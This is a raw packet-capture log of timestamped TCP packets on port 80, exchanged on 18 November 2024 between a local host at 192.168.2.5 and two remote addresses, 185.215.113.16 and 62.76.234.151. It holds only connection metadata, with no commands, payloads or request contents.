Nov 18, 2024 19:04:22.603513956 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.603533983 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.603549004 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.603578091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.603710890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.642451048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.642496109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.642518044 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.642520905 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.642544985 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.642565966 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.643017054 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.643062115 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.643098116 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.643114090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.643157005 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.643157005 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.643199921 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.643215895 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.643233061 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.643235922 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.643273115 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.643415928 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.643430948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.643445969 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.643451929 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.643486977 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.682391882 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.682413101 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.682450056 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.682451010 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.682466030 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.682476997 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.682502985 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.721918106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.721976042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722016096 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722058058 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722069025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722081900 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722105980 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722126007 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722183943 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722191095 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722229004 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722239971 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722275972 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722347975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722384930 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722393990 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722400904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722431898 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722455025 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722575903 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722590923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722606897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722621918 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722624063 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722662926 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722733021 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722748041 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722764969 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722779989 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722784042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722826958 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.722891092 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.722971916 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.723368883 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.723385096 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.723414898 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.723434925 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.723516941 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.723537922 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.723553896 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.723567963 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.723568916 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.723603964 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.723647118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.762598991 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.762629032 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.762649059 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.762664080 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.762681961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.762702942 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.762728930 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.762770891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.763273001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.763326883 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.763336897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.763353109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.763386965 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.763412952 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.763468981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.763484001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.763499975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.763514996 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.763519049 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.763531923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.763567924 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.763611078 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.768703938 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.768757105 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.768793106 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.768815994 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.768825054 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.768865108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.768891096 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.768898964 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.768934011 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.768953085 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.769010067 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.769058943 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.802791119 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.802829981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.802866936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.802895069 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.802917004 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.875917912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.875933886 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.875948906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.875963926 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.875981092 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876039028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876079082 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876125097 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876141071 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876157045 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876168013 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876173019 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876203060 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876239061 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876569986 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876611948 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876629114 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876645088 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876671076 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876705885 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876722097 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876739025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876754045 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876765013 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876780987 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876796007 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876797915 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876811981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.876837969 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.876857996 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.877775908 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.877789974 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.877805948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.877821922 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.877854109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.878407955 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.878453970 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.887763023 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.887788057 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.887806892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.887912989 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.887928963 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.887936115 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.887943983 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.887959957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.887960911 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.887991905 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.888024092 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.888058901 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.888076067 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.888099909 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.888137102 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.888138056 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.888176918 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.888176918 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.888191938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.888237000 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.923028946 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.923047066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.923063993 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.923094988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.923120975 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.967984915 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.968014956 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.968033075 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.968139887 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.996839046 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.996900082 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.996937037 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.996968985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997008085 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997014999 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997040033 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997077942 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997103930 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997179985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997196913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997200012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997224092 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997255087 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997355938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997371912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997397900 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997400999 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997414112 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997440100 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997471094 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997472048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997486115 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997504950 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997509956 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997522116 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997529030 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997541904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997551918 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997570992 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997575998 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997592926 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.997592926 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997612000 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.997632027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.998162985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.998178959 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.998194933 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.998214960 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.998250961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.007862091 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.007890940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.007905960 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.007936954 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.007972956 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.007983923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008032084 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.008122921 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008137941 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008153915 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008167028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.008169889 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008212090 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.008287907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008305073 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008337975 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.008380890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.008680105 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008694887 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008712053 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.008733034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.008757114 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.043699026 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.043737888 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.043764114 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.043778896 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.043796062 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.043915987 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.044039011 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.090681076 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.090711117 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.090729952 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.090745926 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.090862036 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.090900898 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.091651917 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.091676950 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.091734886 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.118184090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118206978 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118223906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118238926 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118263006 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118278027 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118293047 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118308067 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118318081 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.118324041 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118340015 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118355036 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118371964 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118374109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.118386984 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118400097 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.118402004 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118427038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118442059 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118449926 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.118449926 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.118457079 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118473053 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.118488073 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.118522882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.119030952 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.119066000 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.119086027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.119107962 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.119117975 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.119154930 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.119198084 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.119232893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.119277000 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.119277000 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.128237963 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128253937 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128268957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128350973 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.128391027 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128406048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128421068 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128437042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128437042 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.128474951 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.128597021 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128614902 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128643036 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.128674984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.128716946 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128731966 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128757000 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.128789902 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.128804922 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128818035 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.128844976 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.128873110 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.164452076 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.164484024 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.164499998 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.164515972 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.164535046 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.164588928 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.164658070 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.165741920 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.165787935 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.165849924 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.165898085 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.213696003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.214206934 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.214262009 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.220299959 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.220319986 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.220415115 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.237752914 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.237847090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.237960100 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.238012075 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.238107920 CET	80	49980	185.215.113.16	192.168.2.5
